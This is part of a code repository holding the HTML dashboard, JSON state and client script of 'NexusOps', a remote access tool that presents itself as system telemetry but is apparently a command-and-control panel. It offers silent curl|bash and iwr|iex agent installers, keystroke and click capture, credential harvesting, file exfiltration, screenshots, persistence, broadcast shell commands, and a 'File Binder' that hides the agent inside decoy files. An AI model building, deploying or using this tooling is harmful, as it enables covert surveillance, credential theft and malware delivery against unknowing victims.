<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
<i class="fa-solid fa-skull"></i> Kill Switch
</button>
</div>
</header>
<!-- Main Container -->
<main class="dashboard-container">
<!-- Stats Row Overview -->
<section class="stats-grid">
<div class="stat-card">
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
<div class="stat-details">
<span class="stat-label">Total Nodes</span>
<h2 class="stat-number" id="statTotalNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
<div class="stat-details">
<span class="stat-label">Online Nodes</span>
<h2 class="stat-number" id="statOnlineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
<div class="stat-details">
<span class="stat-label">Offline / Stale</span>
<h2 class="stat-number" id="statOfflineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
<div class="stat-details">
<span class="stat-label">Avg Network CPU</span>
<h2 class="stat-number" id="statAvgCpu">0%</h2>
</div>
</div>
</section>
<!-- Toolbar & Filter Row -->
<div class="controls-toolbar">
<div class="search-box">
<i class="fa-solid fa-magnifying-glass"></i>
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
</div>
<div class="filter-group">
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
</div>
<div class="view-toggle">
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
</div>
</div>
<!-- Nodes Grid -->
<div id="nodesGrid" class="nodes-grid-view">
<div class="empty-state">
<i class="fa-solid fa-satellite-dish fa-spin"></i>
<h3>Waiting for Agents to Connect...</h3>
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
</div>
<!-- Telemetry Chart -->
<section class="chart-section">
<div class="section-header">
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
<span class="badge">Live Stream</span>
</div>
<div class="chart-container">
<canvas id="telemetryChart"></canvas>
</div>
</section>
<!-- Command Execution Audit Log -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
<span class="badge purple" id="logCount">0 events</span>
</div>
<div class="terminal-window">
<div class="terminal-body" id="auditLogContent">
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
</div>
</div>
</section>
<!-- Master Centralized System & Audit Log Stream -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
<span class="badge" id="syslogCount">0 entries</span>
</div>
</div>
<div class="terminal-window" style="height: 240px;">
<div class="terminal-body" id="syslogStreamContent">
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
</div>
</div>
</section>
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
<section class="logs-section" id="intelSection">
<div class="section-header">
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Machines</option>
</select>
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Events</option>
<option value="keystroke">Keystrokes</option>
<option value="click">Clicks</option>
<option value="scroll">Scroll</option>
</select>
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
<span class="badge purple" id="intelCount">0 events</span>
</div>
</div>
<!-- Machine Details Quick-View Bar -->
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
</div>
<div class="terminal-window" style="height: 300px;">
<div class="terminal-body" id="intelLogContent">
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
</div>
</div>
</section>
<section class="logs-section" id="lootSection">
<div class="section-header">
<h3><i class="fa-solid fa-sack-dollar"></i> Loot — Exfiltrated Files & Harvested Credentials</h3>
<div class="loot-tabs">
<button class="tab-btn active" id="lootTabFiles" onclick="switchLootTab('files')"><i class="fa-solid fa-file-arrow-down"></i> Files <span class="badge" id="lootFilesCount">0</span></button>
<button class="tab-btn" id="lootTabCreds" onclick="switchLootTab('creds')"><i class="fa-solid fa-key"></i> Credentials <span class="badge purple" id="lootCredsCount">0</span></button>
</div>
</div>
<div class="loot-body" id="lootFilesPanel">
<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil &amp; Harvest on an online node.</div>
</div>
<div class="loot-body" id="lootCredsPanel" style="display:none;">
<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil &amp; Harvest on an online node.</div>
</div>
</section>
</main>
<!-- Agent Installer Modal -->
<div class="modal-overlay" id="installerModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-download icon-accent"></i>
<div>
<h2>Deploy Agent to Network Computer</h2>
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
</div>
</div>
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="os-tabs">
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
</div>
<div class="tab-content active" id="tab-universal">
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
<div class="code-block">
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-binary">
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
<div class="code-block">
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
<div style="margin-top: 0.75rem;">
<a id="binaryDownloadLink" href="http://10.30.20.44:3000/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
</a>
</div>
</div>
<div class="tab-content" id="tab-linux">
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
<div class="code-block">
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.sh | sudo bash</code>
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-windows">
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
<div class="code-block">
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.ps1 | iex</code>
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-mac">
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
<div class="code-block">
<code id="codeMac">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install-mac.sh | bash</code>
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-manual">
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
<div class="code-block">
<code id="codeManual">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="modal-info-box">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
</div>
</div>
</div>
</div>
</div>
<!-- Multi-Control Node Center Modal -->
<div class="modal-overlay" id="commandModal">
<div class="modal-card" style="max-width: 720px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-sliders icon-accent"></i>
<div>
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
</div>
</div>
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<input type="hidden" id="cmdModalNodeId">
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
</div>
<!-- Shell Tab -->
<div class="control-tab-content active" id="ctrl-shell">
<div class="form-group">
<label>Run Shell Command</label>
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
</div>
<div class="quick-commands" style="margin-top: 0.5rem;">
<span class="quick-label">Presets:</span>
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
</div>
<div class="modal-actions">
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
</div>
</div>
<!-- Service Tab -->
<div class="control-tab-content" id="ctrl-service" style="display: none;">
<div class="form-group">
<label>Service Name</label>
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
</div>
<div class="form-group">
<label>Action</label>
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
</div>
</div>
</div>
<!-- Process Tab -->
<div class="control-tab-content" id="ctrl-process" style="display: none;">
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
<div class="form-group" style="flex: 1;">
<label>Kill PID</label>
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
</div>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
</div>
</div>
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
</div>
</div>
<!-- Exfil & Harvest Tab -->
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
</div>
<div class="form-group">
<label>Download File from Target</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
</div>
</div>
</div>
<!-- Network Tab (Features 3, 4) -->
<div class="control-tab-content" id="ctrl-network" style="display: none;">
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
</div>
</div>
<!-- Agent Config Tab (Features 6, 7, 8) -->
<div class="control-tab-content" id="ctrl-config" style="display: none;">
<div class="form-group">
<label>Set Node Tags (comma separated)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
</div>
</div>
<div class="form-group" style="margin-top: 0.75rem;">
<label>Adjust Heartbeat Rate (seconds)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
</div>
</div>
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
</div>
</div>
</div>
</div>
</div>
<!-- Bulk Execution Modal -->
<div class="modal-overlay" id="bulkModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-layer-group icon-accent"></i>
<div>
<h2>Broadcast Task across All Connected Nodes</h2>
<p>Dispatches the selected administrative action to every online machine on your network.</p>
</div>
</div>
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Broadcast Command</label>
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
</div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
</div>
</div>
</div>
</div>
<!-- File Binder Modal -->
<div class="modal-overlay" id="binderModal">
<div class="modal-card" style="max-width: 560px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
<div>
<h2>File Binder — Embed Agent into Any File</h2>
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
</div>
</div>
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Select File to Bind</label>
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
</div>
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
</div>
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
<div class="form-group" style="margin-top:0.75rem;">
<label>Payload Format</label>
<select id="binderFormat" style="width:100%%; background:rgba(15,23,42,0.8); border:1px solid var(--border-color); color:#fff; padding:0.5rem; border-radius:6px;">
<option value="sh">Shell Dropper (.sh) — Linux/macOS</option>
<option value="ps1">PowerShell (.ps1) — Windows</option>
<option value="html">HTML Payload (.html) — One-click browser</option>
</select>
</div>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button>
</div>
<div class="modal-info-box" style="margin-top: 0.5rem;">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>How it works:</strong> Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. <br><small>Formats: <code>.sh</code> (Linux/macOS), <code>.ps1</code> (Windows), <code>.html</code> (one-click browser payload)</small>
</div>
</div>
</div>
</div>
</div>
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
<script src="app.js"></script>
<!-- Toast stack -->
<div id="toastStack" class="toast-stack"></div>
<!-- Auth gate overlay -->
<div class="auth-overlay" id="authOverlay" style="display:none;">
<div class="auth-card">
<i class="fa-solid fa-shield-halved auth-icon"></i>
<h2>NexusOps Access</h2>
<p>Enter your operator token to continue.</p>
<input type="password" id="authTokenInput" class="form-input" placeholder="Operator token" autocomplete="current-password">
<button class="btn btn-primary" id="authTokenSubmit" style="width:100%;margin-top:0.75rem;"><i class="fa-solid fa-unlock"></i> Unlock</button>
<p class="auth-error" id="authError" style="display:none;">Invalid token — try again.</p>
</div>
</div>
<!-- Loot lightbox -->
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
</div>
</body>
</html>

View File

@@ -1,26 +0,0 @@
[
{
"ts": 1790276257557,
"nodeId": "node-c2-builder-slay-10302044",
"hostname": "c2-builder-slay",
"ip": "10.30.20.44",
"type": "node_offline",
"message": "c2-builder-slay (10.30.20.44) offline > 5 min"
},
{
"ts": 1790582539356,
"nodeId": "node-macbook-air.local-10302069",
"hostname": "MacBook-Air.local",
"ip": "10.30.20.69",
"type": "node_offline",
"message": "MacBook-Air.local (10.30.20.69) offline > 5 min"
},
{
"ts": 1790645741166,
"nodeId": "node-macbook-air.local-10302069",
"hostname": "MacBook-Air.local",
"ip": "10.30.20.69",
"type": "node_offline",
"message": "MacBook-Air.local (10.30.20.69) offline > 5 min"
}
]

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -1 +0,0 @@
[]

File diff suppressed because one or more lines are too long

View File

@@ -1 +0,0 @@
[["node-c2-builder-slay-10302044",{"id":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","platform":"linux","arch":"x86_64","osName":"Linux 6.14.11-9-pve","ip":"10.30.20.44","status":"offline","firstSeen":1790204196083,"lastHeartbeat":1790204232941,"cpuUsage":81,"memUsage":2,"diskUsage":6,"uptime":843849,"processCount":27,"tags":["Default"],"heartbeatInterval":2,"metricsHistory":[{"timestamp":"10:56:36 PM","cpu":65,"mem":2,"disk":6},{"timestamp":"10:56:41 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:56:46 PM","cpu":46,"mem":2,"disk":6},{"timestamp":"10:56:52 PM","cpu":20,"mem":2,"disk":6},{"timestamp":"10:56:57 PM","cpu":17,"mem":2,"disk":6},{"timestamp":"10:56:59 PM","cpu":34,"mem":2,"disk":6},{"timestamp":"10:57:01 PM","cpu":37,"mem":2,"disk":6},{"timestamp":"10:57:04 PM","cpu":26,"mem":2,"disk":6},{"timestamp":"10:57:06 PM","cpu":27,"mem":2,"disk":6},{"timestamp":"10:57:08 PM","cpu":52,"mem":2,"disk":6},{"timestamp":"10:57:10 PM","cpu":54,"mem":2,"disk":6},{"timestamp":"10:57:12 PM","cpu":81,"mem":2,"disk":6}]}],["node-macbook-air.local-10302069",{"id":"node-macbook-air.local-10302069","hostname":"MacBook-Air.local","platform":"darwin","arch":"arm64","osName":"Darwin 25.3.0","ip":"10.30.20.69","status":"online","firstSeen":1790442416283,"lastHeartbeat":1790650147723,"cpuUsage":26,"memUsage":85,"diskUsage":90,"uptime":208019,"processCount":986,"tags":["Default"],"heartbeatInterval":5,"metricsHistory":[{"timestamp":"2:46:12 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:46:18 AM","cpu":26,"mem":86,"disk":90},{"timestamp":"2:46:24 AM","cpu":23,"mem":80,"disk":90},{"timestamp":"2:46:30 AM","cpu":24,"mem":70,"disk":90},{"timestamp":"2:46:36 AM","cpu":23,"mem":70,"disk":90},{"timestamp":"2:46:43 AM","cpu":24,"mem":86,"disk":90},{"timestamp":"2:46:49 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:46:55 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:01 AM","cpu":24,"mem":85,"disk":90},{"timestamp":"2:47:07 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:13 AM","cpu":34,"mem":86,"disk":90},{"timestamp":"2:47:19 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:25 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:47:31 AM","cpu":23,"mem":86,"disk":90},{"timestamp":"2:47:37 AM","cpu":25,"mem":86,"disk":90},{"timestamp":"2:47:43 AM","cpu":30,"mem":85,"disk":90},{"timestamp":"2:47:48 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:47:54 AM","cpu":25,"mem":85,"disk":90},{"timestamp":"2:48:00 AM","cpu":28,"mem":86,"disk":90},{"timestamp":"2:48:06 AM","cpu":42,"mem":86,"disk":90},{"timestamp":"2:48:12 AM","cpu":29,"mem":86,"disk":90},{"timestamp":"2:48:18 AM","cpu":38,"mem":85,"disk":90},{"timestamp":"2:48:24 AM","cpu":27,"mem":85,"disk":90},{"timestamp":"2:48:30 AM","cpu":32,"mem":85,"disk":90},{"timestamp":"2:48:36 AM","cpu":29,"mem":85,"disk":90},{"timestamp":"2:48:44 AM","cpu":50,"mem":86,"disk":90},{"timestamp":"2:48:49 AM","cpu":30,"mem":86,"disk":90},{"timestamp":"2:48:55 AM","cpu":35,"mem":85,"disk":90},{"timestamp":"2:49:01 AM","cpu":37,"mem":86,"disk":90},{"timestamp":"2:49:07 AM","cpu":26,"mem":85,"disk":90}]}]]

View File

@@ -1 +0,0 @@
[]

File diff suppressed because one or more lines are too long

View File

@@ -1,763 +0,0 @@
// NexusOps Dashboard Application Logic
let nodesData = [];
let commandHistory = [];
let masterSystemLogs = [];
let inputData = [];
let currentFilter = 'all';
let currentView = 'grid';
let serverIp = window.location.hostname;
let serverPort = window.location.port || '3000';
let publicUrl = null;
let telemetryChart = null;
document.addEventListener('DOMContentLoaded', () => {
initWebSocket();
initChart();
updateServerEndpoint();
});
function updateServerEndpoint() {
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
const placeholders = document.querySelectorAll('.server-url-placeholder');
placeholders.forEach(el => el.textContent = endpoint);
document.getElementById('navServerEndpoint').textContent = endpoint;
const linkEl = document.getElementById('binaryDownloadLink');
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
}
function initWebSocket() {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}`;
const ws = new WebSocket(wsUrl);
ws.onopen = () => {
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
document.querySelector('.status-indicator').classList.add('online');
};
ws.onmessage = (event) => {
try {
const data = JSON.parse(event.data);
if (data.type === 'NODES_UPDATE') {
serverIp = data.serverIp || serverIp;
serverPort = data.port || serverPort;
publicUrl = data.publicUrl || publicUrl;
updateServerEndpoint();
nodesData = data.nodes || [];
commandHistory = data.commandHistory || [];
masterSystemLogs = data.masterSystemLogs || [];
inputData = data.inputData || [];
renderDashboard();
}
} catch (e) {
console.error("Error parsing WebSocket payload:", e);
}
};
ws.onclose = () => {
document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
document.querySelector('.status-indicator').classList.remove('online');
setTimeout(initWebSocket, 3000);
};
}
function renderDashboard() {
renderOverviewStats();
renderNodesGrid();
renderAuditLogs();
renderMasterSyslogs();
renderIntelLog();
checkForNewNodes();
updateChartData();
}
function renderOverviewStats() {
const total = nodesData.length;
const online = nodesData.filter(n => n.status === 'online').length;
const offline = total - online;
let avgCpu = 0;
if (online > 0) {
const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
avgCpu = Math.round(sumCpu / online);
}
document.getElementById('statTotalNodes').textContent = total;
document.getElementById('statOnlineNodes').textContent = online;
document.getElementById('statOfflineNodes').textContent = offline;
document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
}
function renderNodesGrid() {
const container = document.getElementById('nodesGrid');
const search = document.getElementById('searchInput').value.toLowerCase();
let filtered = nodesData.filter(node => {
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
node.hostname.toLowerCase().includes(search) ||
node.ip.toLowerCase().includes(search) ||
node.platform.toLowerCase().includes(search) ||
node.id.toLowerCase().includes(search);
return matchesFilter && matchesSearch;
});
if (filtered.length === 0) {
container.innerHTML = `
<div class="empty-state">
<i class="fa-solid fa-satellite-dish"></i>
<h3>No Connected Agents Found</h3>
<p>No computers match your filter. Download the agent installer to link machines.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
`;
return;
}
container.innerHTML = filtered.map(node => {
const isOnline = node.status === 'online';
const osIcon = getOsIcon(node.platform);
return `
<div class="node-card ${isOnline ? 'online' : 'offline'}">
<div class="card-header">
<div class="node-info-main">
